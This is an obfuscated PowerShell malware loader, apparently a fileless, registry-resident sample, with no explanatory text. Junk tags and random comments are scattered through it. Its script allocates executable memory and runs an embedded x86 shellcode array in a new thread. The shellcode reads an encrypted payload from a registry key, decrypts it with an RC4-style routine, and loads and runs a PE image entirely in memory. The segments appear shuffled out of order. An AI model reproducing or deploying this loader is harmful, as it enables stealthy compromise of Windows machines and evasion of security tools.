0x00 0xFF 0x55 0xA4 0x8B 0x85 0x7C 0xFF 0xFF 0xFF 0x8B <#co#>0x80 0xDC 0x00 0x00 0x00 0x50 0x8B 0x85 0x7C 0xFF 0xFF 0xFF 0x83 0xC0 0x52 0x50 0x8D 0x85 0x00 0xFA 0xFF 0xFF 0x50 0xFF 0x95 0x78 0xFF 0xFF 0xFF <#hfa#>0x33 0xF6 0x8D 0x8D 0x00 <#yx#>0xFB 0xFF 0xFF 0x89 0x31 0x46 0x83 0xC1 0x04 0x81 0xFE 0x00 0x01 0x00 0x00 0x75 0xF2 0x33 0xDB 0x33 0xF6 0x8D 0x8D 0x00 0xFB 0xFF 0xFF 0x03 0x19 0x8B 0x85 0x7C 0xFF 0xFF 0xFF 0xFF 0xB0 0xDC 0x00 0x00 0x00 0x8B 0xC6 0x5A 0x8B 0xFA 0x33 <#uhz#>0xD2 0xF7 0xF7 0x33 0xC0 0x8A 0x84 <#qdx#>0x15 <#xr#>0x00 0xFA 0xFF 0xFF 0x03 0xD8 0x81 0xE3 0xFF 0x00 0x00 0x00 0x8A 0x01 0x8B 0x94 0x9D <#iil#>0x00 0xFB 0xFF 0xFF 0x89 0x11 0x25 0xFF 0x00 0x00 0x00 <#fas#>0x89 0x84 0x9D 0x00 0xFB 0xFF 0xFF 0x46 0x83 0xC1 0x04 0x81 0xFE 0x00 0x01 0x00 0x00 0x75 0xB5 0x33 0xDB 0x33 0xFF <#npc#>0x6A <#sf#>0x40 <#hi#>0x68 0x00 0x30 0x00 0x00 0x8B 0x85 0x60 0xFF 0xFF 0xFF 0x50 <#ul#>0x6A 0x00 0xFF 0x55 0xA8 0x89 0x85 0x5C 0xFF 0xFF <#woa#>0xFF 0x83 0xBD 0x5C 0xFF 0xFF 0xFF <#uw#>0x00 0x74 0x29 0x8B 0x85 0x5C 0xFF 0xFF 0xFF 0x89 0x85 0x4C 0xFF 0xFF <#fdw#>0xFF 0x8B 0x85 0x60 0xFF 0xFF 0xFF 0x50 0x8B 0x85 0x64 0xFF 0xFF 0xFF 0x50 0x8B 0x85 0x4C 0xFF 0xFF <#jku#>0xFF 0x50 0xFF 0x95 0x78 0xFF 0xFF <#ge#>0xFF 0xEB 0x05 0x6A <#trb#>0x00 0xFF 0x55 0xA4 0x8B <#cj#>0x85 0x60 0xFF 0xFF 0xFF 0x48 <#xgk#>0x85 0xC0 0x72 0x74 0x40 0x89 0x85 0x3C 0xFF 0xFF 0xFF 0x33 0xF6 0x43 0x81 0xE3 0xFF 0x00 0x00 0x00 0x03 0xBC 0x9D 0x00 0xFB 0xFF 0xFF 0x81 0xE7 0xFF 0x00 <#zu#>0x00 <#rz#>0x00 0x8A 0x84 0x9D 0x00 0xFB 0xFF 0xFF 0x8B 0x94 0xBD 0x00 0xFB 0xFF <#pe#>0xFF 0x89 0x94 0x9D 0x00 0xFB 0xFF 0xFF 0x25 0xFF 0x00 0x00 0x00 0x89 0x84 0xBD 0x00 0xFB 0xFF 0xFF 0x8B 0x85 0x4C 0xFF 0xFF 0xFF 0x8A 0x04 0x30 0x8B <#ti#>0x94 0x9D 0x00 0xFB 0xFF 0xFF 0x03 0x94 0xBD 0x00 0xFB 0xFF 0xFF <#pa#>0x81 0xE2 0xFF 0x00 0x00 0x00 0x32 0x84 0x95 0x00 0xFB 0xFF 0xFF 0x8B <#vm#>0x95 0x4C 0xFF 0xFF 0xFF 0x88 0x04 0x32 0x46 0xFF 0x8D <#iye#>0x3C 0xFF 0xFF 0xFF 0x75 0x95 <#xyg#>0x8B 0x85 0x4C 0xFF 0xFF 0xFF 0x89 0x45 0xD4 0x8B 0x45 0xD4 <#oai#>0x66 <#nps#>0x81 <#dz#>0x38 0x4D 0x5A 0x0F 0x85 0xDA 0x02 0x00 0x00 <#gx#>0x8B 0x45 0xD4 0x8B 0x40 0x3C 0x03 0x85 0x4C 0xFF <#wwe#>0xFF 0xFF 0x89 0x45 0xD0 0x8B 0x45 0xD0 0x81 0x38 0x50 0x45 0x00 0x00 0x0F 0x85 0xBC 0x02 0x00 0x00 0x8B 0x45 0xD0 0x8B 0x58 0x50 <#oq#>0x03 0xDB 0x6A 0x40 0x68 0x00 0x30 0x00 0x00 0x53 0x6A 0x00 0xFF 0x55 0xA8 0x89 0x45 0xF8 0x83 <#xg#>0x7D <#cl#>0xF8 0x00 0x0F 0x84 0x9A 0x02 0x00 0x00 0x8B 0x45 0xD0 0x8B 0x40 0x54 0x50 0x8B <#is#>0x85 0x4C 0xFF 0xFF 0xFF 0x50 0x8B 0x45 0xF8 0x50 0xFF 0x95 0x78 0xFF 0xFF 0xFF 0x6A 0x04 0x8B 0x85 0x7C 0xFF 0xFF 0xFF 0x05 0xE0 0x00 0x00 0x00 0x50 0x8B 0x45 0xD0 0x8B 0x40 0x50 0x03 0x45 0xF8 <#ov#>0x50 0xFF 0x95 0x78 0xFF 0xFF 0xFF 0x8B 0x85 0x7C 0xFF 0xFF 0xFF 0x8B 0x80 <#oju#>0xE0 0x00 0x00 0x00 0x50 0x8B 0x85 0x4C 0xFF 0xFF 0xFF 0x50 0x8B 0x45 0xD0 0x8B 0x40 <#bc#>0x50 0x03 0x45 0xF8 0x83 0xC0 0x04 0x50 0xFF 0x95 0x78 0xFF <#el#>0xFF 0xFF 0x6A <#puq#>0x60 0x8B 0x85 0x7C 0xFF 0xFF <#cj#>0xFF 0x83 0xC0 0x7A 0x50 0x8B 0x45 0xD0 0x8B 0x40 0x50 0x03 0x45 0xF8 0x83 <#vvi#>0xC0 0x04 0x8B 0x95 0x7C 0xFF 0xFF 0xFF 0x03 0x82 0xE0 0x00 0x00 0x00 0x50 0xFF 0x95 0x78 0xFF <#nr#>0xFF <#thl#>0xFF 0x8B 0x45 0xD0 0x0F 0xB7 0x40 0x06 <#tet#>0x48 0x85 0xC0 0x7C 0x5F 0x40 0x89 0x85 0x3C 0xFF 0xFF 0xFF 0x33 0xF6 0x8B 0x55 0xD4 0x8B 0x52 0x3C 0x8B 0x85 0x4C 0xFF 0xFF 0xFF 0x03 0xD0 0x81 0xC2 0xF8 0x00 0x00 0x00 0x8B 0xCE 0xC1 0xE1 0x03 <#vi#>0x8D 0x0C 0x89 0x03 0xD1 <#fco#>0x89 0x95 0x50 0xFF 0xFF <#mk#>0xFF 0x8B <#si#>0x95 0x50 0xFF 0xFF 0xFF 0x8B 0x52 0x10 0x52 0x8B 0x95 0x50 0xFF 0xFF 0xFF 0x8B 0x52 0x14 0x03 0xD0 0x52 0x8B 0x85 0x50 0xFF 0xFF 0xFF 0x8B 0x40 0x0C 0x03 0x45 0xF8 0x50 0xFF 0x95 0x78 0xFF 0xFF 0xFF 0x46 0xFF <#lnc#>0x8D 0x3C 0xFF 0xFF 0xFF 0x75 0xAA 0x8B 0x45 0xD0 <#xem#>0x8B 0x40 0x34 <#mkz#>0x3B 0x45 0xF8 0x0F 0x84 0xCB 0x00 0x00 0x00 0x8B 0x45 0xD0 0x8B 0x55 0xF8 <#zci#>0x2B 0x50 0x34 0x89 0x55 0xD8 0x8B 0x45 0xF8 0x89 0x45 0xF0 0x8B 0x45 0xD0 0x83 0xB8 0xA4 0x00 0x00 <#ne#>0x00 0x00 0x0F 0x86 0x87 0x00 0x00 0x00 0x8B 0x45 0xD0 <#mcq#>0x8B 0x80 0xA0 0x00 0x00 0x00 <#ws#>0x03 0x45 0xF0 0x89 0x45 0xEC 0xEB 0x6E 0x8B <#qn#>0x45 0xEC 0x8B <#ors#>0x00 0x03 0x45 0xF0 0x89 0x45 0xE8 0x8B 0x45 0xEC 0x83 0xC0 0x08 0x89 0x45 0xE4 <#zeb#>0x8B 0x45 0xEC 0x8B 0x40 0x04 0x83 0xE8 0x08 0xD1 0xE8 <#mjb#>0x48 <#ld#>0x85 <#em#>0xC0 <#yz#>0x72 0x3E 0x40 0x89 0x85 0x3C 0xFF 0xFF 0xFF 0x8B 0x45 0xE4 0x66 0x8B 0x10 0x0F 0xB7 0xC2 0xC1 0xE8 <#zdc#>0x0C 0x8B 0xCA <#sy#>0x66 0x81 <#eco#>0xE1 0xFF 0x0F 0x0F 0xB7 0xC9 <#xno#>0x83 0xF8 0x03 0x75 0x10 0x8B 0x45 0xE8 0x03 0xC1 0x89 0x45 0xE0 0x8B 0x45 0xE0 0x8B 0x55 0xD8 0x01 0x10 0x83 0x45 0xE4 0x02 0xFF 0x8D 0x3C 0xFF <#jwa#>0xFF 0xFF <#lp#>0x75 0xC9 0x8B 0x45 0xEC 0x8B 0x40 0x04 0x03 0x45 0xEC 0x89 0x45 0xEC 0x8B 0x45 0xEC 0x83 0x38 0x00 0x77 0x8A 0x8B <#enc#>0x45 0xD0 0x8B 0x55 0xF8 <#vl#>0x89 0x50 0x34 0x68 0xF8 0x00 0x00 0x00 0x8B <#evh#>0x45 0xD0 0x50 0x8B 0x45 0xD4 0x8B 0x40 0x3C 0x03 0x45 0xF8 0x50 0xFF 0x95 0x78 0xFF 0xFF 0xFF 0x8B 0x45 0xD0 <#uyv#>0x05 0x80 0x00 0x00 0x00 0x89 0x45 0x90 0x8B 0x45 0x90 0x83 0x78 0x04 0x00 0x0F 0x86 0x9E 0x00 0x00 0x00 0x8B 0x45 0xD0 0x8B 0x80 0x80 0x00 0x00 0x00 0x03 0x45 0xF8 0x89 0x45 0x8C 0xEB 0x7F 0x03 0x7D <#yb#>0xF8 <#lrf#>0x57 0xFF 0x55 0xBC <#hk#>0x8B 0xD8 0x85 0xDB 0x74 0x72 0x8B 0x45 0x8C 0x83 0x38 0x00 0x74 <#whj#>0x0D 0x8B 0x45 0x8C 0x8B 0x00 0x03 0x45 <#he#>0xF8 0x89 0x45 0x88 0xEB 0x0C 0x8B 0x45 0x8C 0x8B 0x40 0x10 0x03 0x45 0xF8 0x89 0x45 0x88 0x8B <#ybs#>0x45 0x8C 0x8B 0x40 0x10 0x03 0x45 0xF8 0x89 0x45 0x84 <#qr#>0xEB 0x37 0x8B 0x45 <#ej#>0x88 0x8B 0x30 0xF7 0xC6 0x00 0x00 0x00 0x80 0x74 0x12 0x81 0xE6 0xFF 0xFF 0x00 0x00 0x56 0x53 0xFF 0x55 0xB8 <#cuw#>0x8B 0x55 0x84 0x89 0x02 0xEB 0x10 0x03 0x75 0xF8 0x83 0xC6 0x02 0x56 0x53 0xFF 0x55 0xB8 <#jud#>0x8B 0x55 <#iv#>0x84 0x89 0x02 0x83 0x45 0x88 0x04 0x83 0x45 0x84 0x04 0x8B <#fh#>0x45 0x88 0x83 0x38 0x00 0x75 0xC1 0x83 <#or#>0x45 0x8C <#zpa#>0x14 0x8B 0x45 0x8C 0x8B 0x78 <#aj#>0x0C 0x85 0xFF 0x0F 0x85 <#fyp#>0x73 0xFF 0xFF 0xFF 0x8B 0x45 0xD0 0x8B 0x40 0x28 0x03 0x45 0xF8 0x89 0x45 0xF4 0x31 0xC0 0x50 0x6A 0x01 0xFF 0x75 0xF8 0xFF 0x55 0xF4 0x6A 0x00 0xFF 0x55 0xA4 0x5F <#ia#>0x5E 0x5B 0x8B 0xE5 0x5D 0xC2 0x04 0x00 0x8D 0x40 0x00 0x73 0x6F 0x66 0x74 0x77 0x61 0x72 0x65 0x5C <#tor#>0x55 0x6B 0x4B 0x38 0x52 0x34 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 <#fkp#>0x00 0x00 0x00 0x00 0x00 0x00 <#ewe#>0x00 0x00 <#an#>0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x70 0x66 0x7A 0x31 0x78 0x79 0x44 0x62 0x71 0x67 0x00 0x00 <#qxa#>0x00 0x00 0x00 0x00 0x00 0x53 0xEE 0x89 0x61 0xBB 0xA0 0x31 0xB0 0x5D <#mds#>0x87 0x2D 0x49 <#ta#>0xF9 0x0D 0xC5 0x4F 0xAC 0x84 0x21 0xE3 0xD7 0x1B 0x30 0xB4 0x82 0x25 0x53 0x32 0x4A 0x4C 0x85 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x73 0x00 0x68 0x00 0x65 0x00 0x6C 0x00 0x6C 0x00 0x3C <#pl#>0x00 <#vdq#>0x3C 0x00 0x3A 0x00 0x3A <#sc#>0x00 0x3E 0x00 0x3E 0x00 0x73 0x00 0x68 0x00 0x65 0x00 0x6C 0x00 <#av#>0x6C 0x00 0x62 <#djc#>0x00 0x70 0x00 0x73 0x00 0x3A 0x00 0x3A 0x00 0x62 0x00 0x70 0x00 0x73 0x00 0x6E 0x00 0x75 0x00 0x6D 0x00 0x3A 0x00 0x38 0x00 0x36 0x00 0x34 0x00 0x3A 0x00 0x6E 0x00 0x75 0x00 0x6D 0x00 0x00 0x00 0x00 0x00 <#ib#>0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 <#nm#>0x00 0x00 0x00 <#ywi#>0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x1F 0x00 0x00 0x00 0x00 0xAA 0x06 0x00 0x55 0x8B 0xEC 0x60 0x8B 0x7D 0x08 0x8B 0x75 0x0C 0x8B 0x4D <#oqc#>0x10 0xF3 0xA4 0x61 0x5D 0xC2 0x0C 0x00 0x86 0x5E 0x88 0x53 0xBF 0xB4 0x07 0xE1 0x08 0x10 0xD9 0xCD 0xB6 0xB6 0xEB 0x1E 0xB8 0x09 0x94 0xB8 0x44 0x7B 0xC5 0x3E 0xD3 0xDD 0x7F 0x42 0xF3 0xE5 0xC7 0x16 0xD1 0x56 0xA2 0x7E 0x99 <#ho#>0x4D 0xBF 0x19 0x05 0x84 0xE0 0x47 0xB7 0x86 0x33 0xDC 0x45 0x38 0x15 0xED 0xF5 0x33 0x09 <#ov#>0x75 0xB4 0xBB; #omha $pr=([System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((gproc kernel32.dll VirtualAlloc) (gdelegate @([IntPtr],[UInt32],[UInt32],[UInt32]) ([UInt32])))).Invoke(0,$sc32.Length,0x3000,0x40); #hbjkh if($pr -ne 0){$memset=([System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((gproc msvcrt.dll memset) (gdelegate @([UInt32],[UInt32],[UInt32]) ([IntPtr])))); #dthuix for ($i=0;$i -le ($sc32.Length-1);$i++) {$memset.Invoke(($pr+$i) $sc32[$i] 1)}; #wrkbggp ([System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((gproc kernel32.dll CreateThread) (gdelegate @([IntPtr],[UInt32],[UInt32],[UInt32],[UInt32],[IntPtr]) ([IntPtr])))).Invoke(0,0,$pr,$pr,0,0); #qltkex }sleep(1200);}catch{}exit; #lwzv #magtengmuoxcpgrckntrjtlzogioqyxc #isnefouxzyef sleep(15);try{ #askzsqydg function gdelegate{ #abpatdden Param ([Parameter(Position=0,Mandatory=$True)] [Type[]] $Parameters [Parameter(Position=1)] [Type] $ReturnType=[Void]); #secfew $TypeBuilder=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName("ReflectedDelegate")) [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule("InMemoryModule",$false).DefineType("XXX","Class,Public,Sealed,AnsiClass,AutoClass",[System.MulticastDelegate]); #zgtdufzhas $TypeBuilder.DefineConstructor("RTSpecialName,HideBySig,Public",[System.Reflection.CallingConventions]::Standard,$Parameters).SetImplementationFlags("Runtime,Managed"); #eqinreeknk $TypeBuilder.DefineMethod("Invoke","Public,HideBySig,NewSlot,Virtual",$ReturnType,$Parameters).SetImplementationFlags("Runtime,Managed"); #xnrg return $TypeBuilder.CreateType();} #ubynm function gproc{ #ponbaxhuou Param ([Parameter(Position=0,Mandatory=$True)] [String] $Module [Parameter(Position=1,Mandatory=$True)] [String] $Procedure); #totlui $SystemAssembly=[AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split("\")[-1].Equals("System.dll")}; #ulldlp $UnsafeNativeMethods=$SystemAssembly.GetType("Microsoft.Win32.UnsafeNativeMethods"); #ophxlbnvcc return $UnsafeNativeMethods.GetMethod("GetProcAddress").Invoke($null,@([System.Runtime.InteropServices.HandleRef](New-Object System.Runtime.InteropServices.HandleRef((New-Object IntPtr) $UnsafeNativeMethods.GetMethod("GetModuleHandle").Invoke($null,@($Module)))) $Procedure));} #kyjzenzom [Byte[]] $sc32 = 0x55 0x8B 0xEC 0x81 0xC4 0x00 0xFA 0xFF 0xFF 0x53 0x56 0x57 0x53 0x56 0x57 <#dh#>0xFC 0x31 0xD2 0x64 0x8B 0x52 0x30 0x8B 0x52 0x0C 0x8B 0x52 0x14 0x8B 0x72 0x28 <#faw#>0x6A 0x18 0x59 0x31 0xFF 0x31 0xC0 0xAC 0x3C 0x61 0x7C 0x02 0x2C 0x20 0xC1 0xCF 0x0D 0x01 0xC7 0xE2 0xF0 0x81 0xFF 0x5B 0xBC 0x4A 0x6A 0x8B 0x5A 0x10 0x8B 0x12 0x75 <#bwf#>0xDB 0x89 0x5D 0xFC 0x5F <#nl#>0x5E 0x5B 0x8B 0x45 0xFC 0x89 0x45 0xD4 0x8B 0x45 0xD4 0x66 0x81 0x38 0x4D 0x5A 0x0F 0x85 0x0F 0x02 0x00 0x00 0x8B 0x45 0xFC <#nac#>0x33 0xD2 0x52 0x50 0x8B 0x45 0xD4 0x8B 0x40 0x3C 0x99 0x03 0x04 0x24 0x13 0x54 <#fwa#>0x24 0x04 0x83 0xC4 0x08 0x89 0x45 0xD0 0x8B 0x45 0xD0 0x81 0x38 0x50 0x45 0x00 0x00 0x0F 0x85 0xE5 0x01 0x00 0x00 0x8B 0x45 0xD0 0x8B 0x40 <#cmo#>0x78 0x03 0x45 0xFC 0x89 0x45 0xCC 0x8B 0x45 0xCC 0x8B 0x40 0x18 0x85 0xC0 0x0F 0x8C 0xCB <#ox#>0x01 <#km#>0x00 0x00 0x40 0x89 0x85 0x3C 0xFF <#wkc#>0xFF 0xFF 0x33 0xF6 0x8B 0x45 0xFC 0x33 0xD2 0x52 0x50 0x8B 0x45 0xCC 0x8B 0x40 <#pj#>0x20 0x33 <#ycx#>0xD2 0x52 0x50 0x8B 0xC6 0xC1 0xE0 0x02 0x99 0x03 0x04 0x24 0x13 0x54 0x24 0x04 0x83 0xC4 0x08 0x03 <#kq#>0x04 0x24 0x13 <#wbn#>0x54 0x24 0x04 0x83 0xC4 0x08 0x8B 0x08 0x03 0x4D 0xFC 0x81 0x39 0x4C 0x6F <#ehi#>0x61 0x64 0x75 0x56 0x8D 0x41 0x04 0x81 0x38 0x4C 0x69 0x62 0x72 0x75 0x4B 0x8D 0x41 0x08 0x81 0x38 0x61 0x72 0x79 0x41 0x75 0x40 0x8D 0x41 0x0C 0x80 0x38 0x00 0x75 0x38 0x8B <#xju#>0x45 0xCC 0x8B 0x40 0x24 0x03 0x45 0xFC 0x33 0xD2 0x52 0x50 0x8B 0xC6 0x03 0xC0 0x99 0x03 0x04 0x24 0x13 0x54 0x24 <#mh#>0x04 0x83 0xC4 0x08 0x66 0x8B <#hcd#>0x00 <#cvn#>0x8B 0x55 0xCC 0x8B 0x52 0x1C 0x03 0x55 0xFC 0x0F 0xB7 0xC0 0xC1 0xE0 0x02 0x03 0xD0 0x8B 0x02 0x03 0x45 0xFC <#djs#>0x89 0x45 0xBC 0x81 0x39 0x47 0x65 0x74 0x50 0x75 0x56 0x8D 0x41 0x04 0x81 0x38 0x72 0x6F 0x63 <#kmn#>0x41 0x75 0x4B 0x8D 0x41 0x08 0x81 0x38 0x64 0x64 0x72 0x65 0x75 0x40 0x8D 0x41 0x0E 0x80 0x38 <#odm#>0x00 0x75 0x38 0x8B 0x45 0xCC 0x8B 0x40 0x24 0x03 0x45 0xFC 0x33 0xD2 0x52 0x50 0x8B <#ja#>0xC6 0x03 0xC0 0x99 0x03 0x04 0x24 0x13 0x54 0x24 0x04 <#zo#>0x83 0xC4 0x08 0x66 0x8B 0x00 0x8B <#xo#>0x55 0xCC 0x8B 0x52 0x1C 0x03 0x55 0xFC 0x0F 0xB7 0xC0 0xC1 <#sg#>0xE0 0x02 0x03 0xD0 <#esv#>0x8B 0x02 0x03 0x45 <#lyl#>0xFC 0x89 0x45 0xB8 0x81 0x39 0x56 0x69 0x72 0x74 0x75 0x56 0x8D 0x41 0x04 0x81 0x38 0x75 0x61 0x6C 0x41 0x75 0x4B 0x8D 0x41 0x08 0x81 0x38 0x6C 0x6C 0x6F 0x63 0x75 0x40 0x8D 0x41 0x0C 0x80 0x38 0x00 0x75 <#ak#>0x38 0x8B 0x45 0xCC 0x8B 0x40 0x24 0x03 <#ba#>0x45 0xFC 0x33 0xD2 0x52 0x50 0x8B 0xC6 0x03 0xC0 0x99 0x03 0x04 0x24 0x13 0x54 0x24 0x04 0x83 0xC4 0x08 0x66 0x8B 0x00 0x8B 0x55 0xCC 0x8B 0x52 0x1C 0x03 0x55 0xFC 0x0F 0xB7 0xC0 0xC1 0xE0 <#ar#>0x02 0x03 0xD0 0x8B 0x02 0x03 0x45 0xFC 0x89 0x45 0xA8 0x81 0x39 0x45 0x78 0x69 0x74 0x75 0x63 0x8D 0x41 <#fk#>0x04 0x81 <#csw#>0x38 0x50 0x72 0x6F 0x63 0x75 0x58 0x8D 0x41 <#gyb#>0x08 0x80 0x38 0x65 0x75 0x50 0x8D 0x41 0x09 0x80 0x38 0x73 <#ujs#>0x75 <#bfi#>0x48 0x8D 0x41 0x0A 0x80 0x38 0x73 <#qa#>0x75 0x40 0x83 0xC1 0x0B 0x80 0x39 0x00 0x75 0x38 0x8B 0x45 0xCC 0x8B 0x40 0x24 0x03 <#wxj#>0x45 0xFC 0x33 0xD2 0x52 0x50 0x8B 0xC6 0x03 0xC0 0x99 0x03 0x04 0x24 0x13 0x54 0x24 0x04 0x83 0xC4 <#mwn#>0x08 0x66 0x8B 0x00 0x8B 0x55 0xCC 0x8B 0x52 0x1C 0x03 0x55 0xFC 0x0F 0xB7 0xC0 0xC1 0xE0 0x02 0x03 0xD0 0x8B 0x02 0x03 0x45 0xFC 0x89 0x45 0xA4 0x46 0xFF 0x8D 0x3C 0xFF 0xFF 0xFF 0x0F 0x85 0x3E 0xFE 0xFF 0xFF 0xC6 0x85 0x2F 0xFF 0xFF 0xFF 0x61 0xC6 0x85 0x30 0xFF 0xFF 0xFF 0x64 0xC6 0x85 <#of#>0x31 0xFF 0xFF 0xFF 0x76 0xC6 0x85 0x32 0xFF 0xFF 0xFF 0x61 0xC6 0x85 0x33 <#li#>0xFF 0xFF 0xFF 0x70 0xC6 0x85 0x34 0xFF 0xFF 0xFF 0x69 0xC6 0x85 0x35 0xFF 0xFF 0xFF 0x33 0xC6 0x85 0x36 0xFF 0xFF 0xFF 0x32 0xC6 0x85 0x37 0xFF 0xFF 0xFF 0x2E 0xC6 <#ak#>0x85 0x38 0xFF 0xFF 0xFF 0x64 0xC6 0x85 0x39 0xFF 0xFF 0xFF 0x6C 0xC6 0x85 0x3A <#bo#>0xFF <#bm#>0xFF 0xFF 0x6C 0xC6 0x85 0x3B 0xFF 0xFF 0xFF 0x00 0x8D 0x85 0x2F 0xFF 0xFF 0xFF <#dqn#>0x50 0xFF 0x55 0xBC 0x8B 0xD8 0x85 0xDB 0x75 <#csv#>0x05 0x6A 0x00 0xFF 0x55 0xA4 0x89 0x5D 0xD4 0x8B <#bdd#>0x45 0xD4 0x66 0x81 0x38 0x4D <#kwc#>0x5A 0x0F 0x85 0x4F 0x01 0x00 0x00 0x8B 0xC3 0x33 0xD2 0x52 0x50 0x8B 0x45 0xD4 0x8B 0x40 0x3C 0x99 0x03 <#thb#>0x04 0x24 <#ky#>0x13 0x54 0x24 0x04 0x83 <#sr#>0xC4 0x08 0x89 0x45 0xD0 0x8B 0x45 0xD0 0x81 0x38 0x50 0x45 0x00 0x00 0x0F 0x85 0x26 0x01 0x00 0x00 0x8B 0x45 0xD0 0x8B 0x40 0x78 0x03 0xC3 0x89 <#hdn#>0x45 0xCC 0x8B 0x45 0xCC 0x8B 0x40 0x18 0x85 0xC0 0x0F <#zsx#>0x8C 0x0D 0x01 0x00 0x00 0x40 0x89 0x85 0x3C 0xFF 0xFF 0xFF 0x33 0xF6 0x8B 0xC3 0x33 0xD2 0x52 0x50 0x8B 0x45 0xCC 0x8B 0x40 0x20 0x33 0xD2 0x52 <#yep#>0x50 0x8B 0xC6 0xC1 0xE0 0x02 0x99 0x03 0x04 0x24 0x13 0x54 0x24 0x04 0x83 0xC4 0x08 0x03 0x04 <#zo#>0x24 0x13 0x54 0x24 0x04 <#erw#>0x83 0xC4 0x08 0x8B 0x08 0x03 <#uoq#>0xCB 0x81 0x39 0x52 0x65 0x67 0x4F 0x75 0x5B 0x8D 0x41 0x04 0x81 0x38 <#qdp#>0x70 0x65 0x6E 0x4B 0x75 0x50 0x8D 0x41 0x08 0x81 0x38 0x65 0x79 0x45 0x78 0x75 0x45 0x8D 0x41 0x0C 0x80 0x38 <#mj#>0x41 0x75 0x3D <#lsp#>0x8D 0x41 0x0D 0x80 0x38 0x00 0x75 0x35 0x8B 0x45 0xCC 0x8B 0x40 0x24 0x03 0xC3 0x33 0xD2 <#dyq#>0x52 0x50 0x8B 0xC6 0x03 0xC0 0x99 0x03 0x04 0x24 0x13 0x54 0x24 0x04 0x83 0xC4 0x08 0x66 0x8B 0x00 0x8B 0x55 0xCC <#kgn#>0x8B 0x52 <#qcu#>0x1C 0x03 0xD3 0x0F 0xB7 0xC0 0xC1 0xE0 0x02 0x03 0xD0 <#zo#>0x8B 0x02 0x03 0xC3 0x89 0x45 <#tqe#>0xB0 0x81 0x39 0x52 0x65 0x67 0x51 0x75 0x5E 0x8D 0x41 0x04 0x81 0x38 0x75 0x65 0x72 0x79 0x75 0x53 0x8D 0x41 0x08 0x81 0x38 0x56 0x61 0x6C 0x75 0x75 0x48 0x8D 0x41 0x0C 0x81 0x38 0x65 0x45 0x78 0x41 0x75 0x3D 0x83 0xC1 0x10 0x80 0x39 <#sa#>0x00 0x75 0x35 0x8B 0x45 0xCC 0x8B 0x40 0x24 0x03 0xC3 0x33 <#fb#>0xD2 0x52 0x50 0x8B <#iu#>0xC6 0x03 0xC0 0x99 0x03 0x04 <#wp#>0x24 0x13 0x54 0x24 0x04 0x83 0xC4 0x08 0x66 0x8B 0x00 0x8B 0x55 0xCC 0x8B 0x52 0x1C 0x03 0xD3 0x0F 0xB7 0xC0 0xC1 0xE0 0x02 0x03 0xD0 0x8B 0x02 <#wb#>0x03 0xC3 0x89 0x45 0xAC 0x46 0xFF 0x8D 0x3C 0xFF 0xFF 0xFF 0x0F 0x85 0xFC 0xFE 0xFF 0xFF 0x8B 0x45 0x08 0x05 0x48 0x0A 0x00 0x00 <#zo#>0x89 0x85 <#hz#>0x7C 0xFF 0xFF 0xFF <#cv#>0x8B 0x85 0x7C 0xFF 0xFF 0xFF 0x05 0xE4 0x00 0x00 0x00 0x89 0x85 0x78 0xFF 0xFF <#bww#>0xFF 0x33 0xDB 0x33 0xC0 0x89 0x85 0x64 0xFF 0xFF <#be#>0xFF 0x33 0xC0 0x89 0x85 0x60 0xFF 0xFF 0xFF 0x8D 0x85 0x70 0xFF 0xFF 0xFF 0x50 0x6A 0x01 0x6A 0x00 0x8B 0x85 0x7C 0xFF 0xFF 0xFF 0x50 0x68 0x02 0x00 0x00 0x80 0xFF 0x55 0xB0 0x85 0xC0 0x0F 0x85 0x86 0x00 0x00 0x00 0x8D 0x85 0x60 0xFF 0xFF 0xFF 0x50 0x6A 0x00 <#bnk#>0x8D 0x85 0x6C 0xFF 0xFF 0xFF 0x50 0x6A 0x00 0x8B 0x85 0x7C 0xFF 0xFF 0xFF 0x83 0xC0 0x41 0x50 0x8B 0x85 <#lwe#>0x70 0xFF 0xFF 0xFF 0x50 0xFF 0x55 0xAC 0x85 0xC0 <#cy#>0x75 0x5C 0x83 0xBD 0x60 0xFF 0xFF 0xFF 0x64 0x76 0x53 0x6A 0x40 0x68 0x00 0x30 0x00 0x00 0x8B 0x85 0x60 0xFF 0xFF 0xFF 0x50 0x6A 0x00 0xFF 0x55 0xA8 0x89 0x85 0x64 0xFF 0xFF 0xFF 0x83 0xBD 0x64 0xFF 0xFF <#tpl#>0xFF 0x00 0x74 0x31 0x8D 0x85 0x60 0xFF <#pan#>0xFF 0xFF 0x50 0x8B 0x85 0x64 0xFF 0xFF 0xFF 0x50 0x8D 0x85 0x6C 0xFF 0xFF 0xFF 0x50 0x6A 0x00 0x8B 0x85 0x7C 0xFF 0xFF 0xFF 0x83 0xC0 0x41 0x50 0x8B <#tv#>0x85 0x70 0xFF 0xFF 0xFF 0x50 0xFF 0x55 0xAC 0x85 0xC0 0x75 0x02 0xB3 0x01 0x33 0xC0 0x89 0x85 0x70 0xFF 0xFF 0xFF 0x84 0xDB 0x0F 0x85 0xB8 0x00 0x00 0x00 0x33 0xC0 0x89 0x85 0x64 <#rzv#>0xFF 0xFF 0xFF 0x33 0xC0 0x89 0x85 0x60 0xFF 0xFF 0xFF 0x8D 0x85 0x70 0xFF 0xFF <#zu#>0xFF 0x50 0x6A 0x01 0x6A 0x00 0x8B 0x85 0x7C 0xFF 0xFF <#pv#>0xFF 0x50 0x68 0x01 <#kx#>0x00 0x00 0x80 <#nxw#>0xFF 0x55 <#mu#>0xB0 0x85 0xC0 0x0F 0x85 0x86 0x00 0x00 0x00 0x8D 0x85 0x60 0xFF 0xFF <#sz#>0xFF 0x50 0x6A 0x00 0x8D 0x85 0x6C 0xFF 0xFF <#zhb#>0xFF 0x50 0x6A 